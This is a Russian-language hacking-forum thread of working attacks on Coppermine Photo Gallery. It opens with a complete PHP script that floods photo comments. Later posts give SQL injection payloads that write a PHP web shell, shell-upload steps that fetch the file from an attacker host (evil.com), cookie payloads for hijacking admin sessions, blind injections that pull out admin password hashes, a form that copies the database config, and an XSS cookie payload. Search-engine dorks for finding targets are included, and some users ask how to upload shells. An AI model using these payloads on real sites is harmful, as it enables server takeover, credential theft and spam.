HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.02.2008, 15:17
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме:
2590715

Репутация: 659


Отправить сообщение для diehard с помощью ICQ
По умолчанию

Может кому-то понадобится: простенький флудер галлерей CPG на php. Флудит в комментах : требует указать промежуток индексов фотографий, которые нужно зафлудить, кол-во сообщений, текст сообщение и имя автора. Заливаем на ФТП и погнали ))

Код:
<? 
#######################################
# flood.php
# Coppermine Photo Gallery Easy Flooder
# (C) diehard
#######################################

$host = "www.site.com";
$addr = "/gallery/";

$N = $_GET['n']; 		// number of flood
$author = $_GET['name'];	// name
$message = $_GET['msg'];	// message
$pid1 = $_GET['pos1'];		// absolute position of photo FROM
$pid2 = $_GET['pos2'];		// absolute position of photo TO

if (($N=='')||($author=='')||($message=='')||($pid1=='')||($pid2==''))
{
  echo "<form method=get name=form1 action=flood.php>N:<input value='100' type=text name=n><br>Author:<input type=text value='Vasia' name=name><br>Message:<input value='Hello! My name is Vasia' type=text name=msg><br>Pos of photo FROM:<input type=text value=1 name=pos1><br>Pos of photo TO:<input type=text value=322 name=pos2><br><input type=submit value=go></form>";
}
else
{


$i=0;

while ($i<$N) {

$i++;

$pid = $pid1-1;

while($pid<$pid2){

  $pid++;

  $post="msg_author=$author&msg_body=$message&event=comment&pid=$pid&submit=OK"; 
  $len = strlen($post);

  $query = "POST $addr/db_input.php?event=comment HTTP/1.1\r\n".
	 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n".
	 "Host: $host\r\n".
	 "Referer: http://".$host.$addr."displayimage.php?pos=-$pid\r\n".
	 "Content-Type: application/x-www-form-urlencoded\r\n".
	 "Connection: close\r\n".
	 "Content-Length: $len\r\n".
	 "\r\n".
	 "$post";

  echo "<BR>Photo $pid : Message $i<BR>";

  $conn = fsockopen($host, 80, $errno, $errstr, 1000); 
  fputs($conn, $query); 

  while (!feof($conn)) 
   {
     $ss = fgets($conn, 128); 
     echo $ss;
   }

}

}
}
?>

Последний раз редактировалось diehard; 21.02.2008 в 16:17..
 
Ответить с цитированием

  #2  
Старый 30.03.2008, 15:26
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию


2voron999888, 2+toxa+

Эксплоит использует два запроса вложенный один в другой.
Сначала идет
-1) UNION SELECT [HEX],1 as md5_password/*

Где [HEX] - полезная нагрузка, которая будет возвращена как результат во второй SQL-запрос.

[HEX] => to_hex => '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*'

Видимо такой автор видел возможность получения логических 0 и 1.
Бонус в том, что на ура пройдет выгрузка шела, ведь HEX позволяет избежать слеширования ковычек.

Иными словами
COOKIE: cpm_gallery=-1) UNION SELECT [HEX],1 as md5_password/*
где [HEX]
0) UNION SELECT '<?php;phpinfo();?>' from cpg_users into outfile('/www/shell.php')/*


[i] Не забываем, нужен file_priv для текущего mysql юзверя.

[i] Напоминаю, что для выгрузки в файл НЕОБХОДИМО формально указать любую существующую таблицу к которой у данного юзверя должен быть доступ.

[i] -1, 0 указываются для того чтобы первая часть запроса ничего не возвращала, в противном случае ваш юнион запрос может быть не обработан. Это я про ваши IN(1).


PS:

В родном эксплоите от РСТ необходимо заменить
PHP код:
         $page ''
на
PHP код:
         $page 'thumbnails.php'
...и он начинает правильно находить имя кук
 
Ответить с цитированием

Coppermine <=1.4.16 [Content-type] SQL-injection Exploit
  #3  
Старый 25.04.2008, 02:17
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Coppermine <=1.4.16 [Content-type] SQL-injection Exploit



Coppermine <=1.4.16 [Content-type] SQL-injection Exploit

1) Дата:
Найдена: April 9, 2008
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html)

2) Продукт: Coppermine Photo Gallery <=1.4.16

3) Уязвимость: SQL-injection в [Content-type] при загрузке удаленных файлов.
Галерея доверяет ответу удаленного сервера.

4) Автор: Elekt (bug found April 9, 2008)

5) Тип: удалённая

6) Опасность: 5/10

7) Описание:
Уязвимость позволяет получить веб-шелл или хеш админа.
Необоходима валидная учетная запись + вам должно быть разрешено заливать файлы по удаленным ссылкам.

8) Эксплоит: способ эксплуатации уязвимости

[1] Shell upload

1) Заливаем shell.hack и .htaccess на свой сервер
2) Авторизуйтесь, вам должно быть разрешено заливать файлы
3) Загрузить файл -> Загрузка ссылок -> http://evil.com/shell.hack
4) Удачная загрузка -> Продолжить
5) Path to shell: http://target/albums/edit/mURI_temp_xxxxxxxx.php


[2] Admin data

1) Заливаем exploit.hack и .htaccess на свой сервер
2) Настраиваем [options] в эксплойте
2.1) Используем $mode=2 зная префикс таблиц. Указываем $prefix.
2.2) Используем $mode=1 для определения префикса таблиц. Затем $mode=2
3) Авторизуйтесь, вам должно быть разрешено заливать файлы
4) Загрузить файл -> Загрузка ссылок -> http://evil.com/exploit.hack
5) Удачная загрузка -> Продолжить -> mURI_temp_xxxxxxxx.[result]
6) Переведите hex() в ascii(), например http://quest.antichat.net/code.php

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51787.0.html


Сам уязвимый код:

/upload.php

PHP код:
 if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) { 
    
cpg_die(ERROR$lang_errors['perm_denied'], __FILE____LINE__); 


    
$URI_upload_count count($_POST['URI_array']); 

    if (
$URI_upload_count 0) { 
     
           if(!(
eregi('^content-type: ([[:graph:]]+)'$header['wrapper_data'][$i], $MIME_extraction_array))) { 

                    
$MIME_result cpg_db_query("SELECT extension FROM {$CONFIG['TABLE_FILETYPES']} WHERE mime='$URI_MIME_type'"); 
Вложения
Тип файла: zip Coppermine =1.4.16 [Content-type] SQL-injection Exploit.zip (5.4 Кб, 113 просмотров)
 
Ответить с цитированием

Coppermine <=1.4.17 SQL-inj Session Hijack Exploit
  #4  
Старый 25.04.2008, 02:18
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Coppermine <=1.4.17 SQL-inj Session Hijack Exploit


Coppermine <=1.4.17 SQL-inj Session Hijack Exploit

1) Дата:
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html)

2) Продукт: Coppermine Photo Gallery <=1.4.17

3) Уязвимость: SQL-инъекция в $_COOKIE[$this->client_id] в [/bridge/coppermine.inc.php]
Значение извлекается из куков без проверок.

4) Автор: unknown

6) Опасность: 4/10

5) Тип: удалённая

7) Описание:

Уязвимость позволяет присвоить валидную сессию админа или получить хеш пароля админа.

[1] Session hijacking
В случае существования валидной сессии (время жизни сессии 1 час) - атакующий повысит свои права до админа.

Эксплоит:

по конкретному id админа.пользователя
Cookie: [$this->client_id]=blah") or user_id=[admin_id]/*;
например:
60e8773ee5c8bcc63dac366e197055a4=hack!") or user_id=1/*;

автоопределение админской сессии
COOKIE: Cookie: [$this->client_id]=Antich@t") union select cpg14x_sessions.user_id from cpg14x_sessions,cpg14x_users where cpg14x_users.user_group=1 AND cpg14x_users.user_id=cpg14x_sessions.user_id limit 0,1/*;


[2] Хеш: перебор через more1row
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=1,(select 2 union select 3),2)/*
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=254,(select 2 union select 3),2)/*

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51882.0.html

Разработчик пофиксил проблему, заменив md5-sql на md5-php:

было
PHP код:
where session_id md5(" ' . $session_id . ' "); '; 
стало
PHP код:
where session_id ' " . md5($session_id) . " ' "; 

Сам уязвимый код:

PHP код:
       function session_extraction()
        {
                
// Get the session cookie value
                
$sessioncookie $_COOKIE[$this->client_id];

                
// Create the session id by concat(session_cookie_value, client_id)
                
$session_id $sessioncookie.$this->client_id;

                if (
$sessioncookie) {
        
                    
// Check for valid session
                    
$sql =  'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");'
Вложения
Тип файла: zip Coppermine =1.4.17 SQL-inj Session Hijack Exploit.zip (5.0 Кб, 63 просмотров)
 
Ответить с цитированием

Coppermine <=1.4.18 Ecard SQL-injection Vulnerable
  #5  
Старый 28.04.2008, 18:56
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Coppermine <=1.4.18 Ecard SQL-injection Vulnerable


Coppermine <=1.4.18 Ecard SQL-injection Vulnerable

1) Дата:
Найдена: April 28, 2008

2) Продукт: Coppermine Photo Gallery <=1.4.18

3) Уязвимость: SQL-injection в [user_email] при регистрации и отсылке открыток.

4) Автор: Elekt (bug found April 28, 2008)

5) Тип: удалённая

6) Опасность: 3/10

7) Описание:

Уязвимость позволяет выполнить произвольные SQL-команды, например получить хеш админа используя технологию брута "more1row".

Необоходимые условия:
~ включена регистрация новых пользователей(по дефолту отключено)
~ не требуется подтверждение через email
~ включен лог открыток(по дефолту отключено)


Как и почему это работает.

1) Опасные символы заменяются в "/include/init.inc.php" html аналогами в GET,POST,REQUEST , но '\' не затрагивается.
А заодно stripslashes()'тся, что дает возможность использовать NULL-byte.

2) При регистрации нового пользователя используется регулярка основанная на ereg(), который уязвим к NULL-byte, прекращая обработку строки при встрече с ним.
Таким образом email вида "test@blah.com\x00\" успешно проходит проверку.

3) В БД email попадает со слешем на конце. Что это дает? Если где-либо в скрипте первый query получит email и передаст его во второй query без фильтрации, то слэш заэкранирует закрывающую ковычку, синтаксис запроса нарушится и возникет SQL-Error.

SQL-error:
Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', 'SomeUserName', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
4) С ошибки нам ничего не поиметь, но вот если сразу после параметра email будет идти еще один параметр, который мы можем произвольно менять, то становится возможным проведение фрагменитированной SQL-injection

SQL-inj-more1row:
Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', '[SQL-inject-more1row]', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
5) Как видно, открывающаяся ковычка поля recipient_name превращается в закрывающуюся ковычку sender_email. Мы получаем возможность провести SQL-inj в поле recipient_name.

8) Эксплоит: способ эксплуатации уязвимости

1) Снифаем пакет регистрации, вставляя в область email : "mymail@mail.ru%00\" . Отправляем. Ответ сервера сообщит нам об ошибке email.
2) Берем отснифанный пакет и меняем в нем %2500 на %00. Отсылаем. Сервер сообщает об успешной регистрации. Авторизуемся.
3) Теперь выбираем любую картинку в галерее. Жмем на значок письма (Отправить этот файл как открытку)
5) Корректно заполняем и отсылаем. Если сервер сообщает об ошибке БД - вам повезло - лог открыток включен и возможна SQL-inj. Если нет, то нет.
6) В поле "Имя получателя" проводим SQL-more1row.

FALSE
Имя получателя:
Код HTML:
 or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=254,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
TRUE
Имя получателя:
Код HTML:
 or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=49,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
Скрипт перебора напишите сами.

7) Фильтруется '<' '>' . Можно использовать только '='


9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

1) установить addslashes() перед регуляркой проверки email в register.php
2) экранировать "\"


Сам уязвимый код:

/ecard.php

PHP код:
        if ($CONFIG['log_ecards'] == 1) {

          
$result_log cpg_db_query("INSERT INTO {$CONFIG['TABLE_ECARDS']} (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('$sender_name', '$sender_email', '$recipient_name', '$recipient_email',   '$encoded_data', '$tempTime', '{$_SERVER["REMOTE_ADDR"]}')");
          } 
/register.php

PHP код:
$email trim(get_post_var('email'));
    if (!
eregi("^[_\.0-9a-z\-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,6}$"$email)) $error .= '<li>' $lang_register_php['err_invalid_email'];

    
$sql "INSERT INTO {$CONFIG['TABLE_USERS']} ".
           
"(user_regdate, user_active, user_actkey, user_name, user_password, user_email, user_profile1, user_profile2, user_profile3, user_profile4, user_profile5, user_profile6) ".
           
"VALUES (NOW(), '$active', '$act_key', '" addslashes($user_name) . "', '" addslashes($encpassword) . "', '" addslashes($email) . "', '$profile1', '$profile2', '$profile3', '$profile4', '$profile5', '$profile6')"
Вложения
Тип файла: zip Coppermine =1.4.19 Ecard SQL-inj Exploit.zip (5.4 Кб, 46 просмотров)

Последний раз редактировалось Elekt; 08.09.2008 в 12:43..
 
Ответить с цитированием

  #6  
Старый 04.01.2009, 01:49
deathking
Новичок
Регистрация: 28.12.2008
Сообщений: 3
Провел на форуме:
7775

Репутация: 0
По умолчанию

а файлики не качаюцца
 
Ответить с цитированием

  #7  
Старый 10.02.2009, 17:21
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
Провел на форуме:
210936

Репутация: 24
По умолчанию

Coppermine Photo gallery - Remote PHP File Upload 1.4.19

PHP код:
<?php
<html
    <
form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=http%3A%2F%2Fwww.google.com&CURRENT_PIC[filename]=/test.php" 
method=post
        <
input name="save" value=1
        <
input name="keysToSkip" value=1
        <
input name="_GET" value=1
        <
input name="_REQUEST" value=1
        <
input type=submit
    </
form
</
html


This request will copy the database connection info and make it readable here
http://10.1.1.155/Audit/cpg1419/albums/dbinfo.txt 
This attack works with allow_url_fopen=Off 
<html
    <
form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/dbinfo.txt" 
method=post
        <
input name="save" value=1
        <
input name="keysToSkip" value=1
        <
input name="_GET" value=1
        <
input name="_REQUEST" value=1
        <
input type=submit
    </
form
</
html>
?>
 
Ответить с цитированием

  #8  
Старый 05.04.2009, 08:21
dyx
Познающий
Регистрация: 05.04.2005
Сообщений: 46
Провел на форуме:
77505

Репутация: 1
По умолчанию

Цитата:
Сообщение от number0  
Coppermine Photo gallery - Remote PHP File Upload 1.4.19

PHP код:
<?php
<html
    <
form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=http%3A%2F%2Fwww.google.com&CURRENT_PIC[filename]=/test.php" 
method=post
        <
input name="save" value=1
        <
input name="keysToSkip" value=1
        <
input name="_GET" value=1
        <
input name="_REQUEST" value=1
        <
input type=submit
    </
form
</
html


This request will copy the database connection info and make it readable here
http://10.1.1.155/Audit/cpg1419/albums/dbinfo.txt 
This attack works with allow_url_fopen=Off 
<html
    <
form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/dbinfo.txt" 
method=post
        <
input name="save" value=1
        <
input name="keysToSkip" value=1
        <
input name="_GET" value=1
        <
input name="_REQUEST" value=1
        <
input type=submit
    </
form
</
html>
?>
Эту хрень как юзать то, какие пути куда ставить???
 
Ответить с цитированием

Как я могу залить шелл ?
  #9  
Старый 13.03.2009, 12:18
vector
Новичок
Регистрация: 08.09.2005
Сообщений: 6
Провел на форуме:
154855

Репутация: 0
Question Как я могу залить шелл ?

Привет,
Я имею admin на Coppermine Photo Gallery 1.4.14 modpack v1 (stable). Как я могу залить шелл ?
 
Ответить с цитированием

  #10  
Старый 01.05.2008, 03:59
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию

XSS:
Код:
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> [xsscode here]
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> <body%20onload=alert(document.cookie);>
(с)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ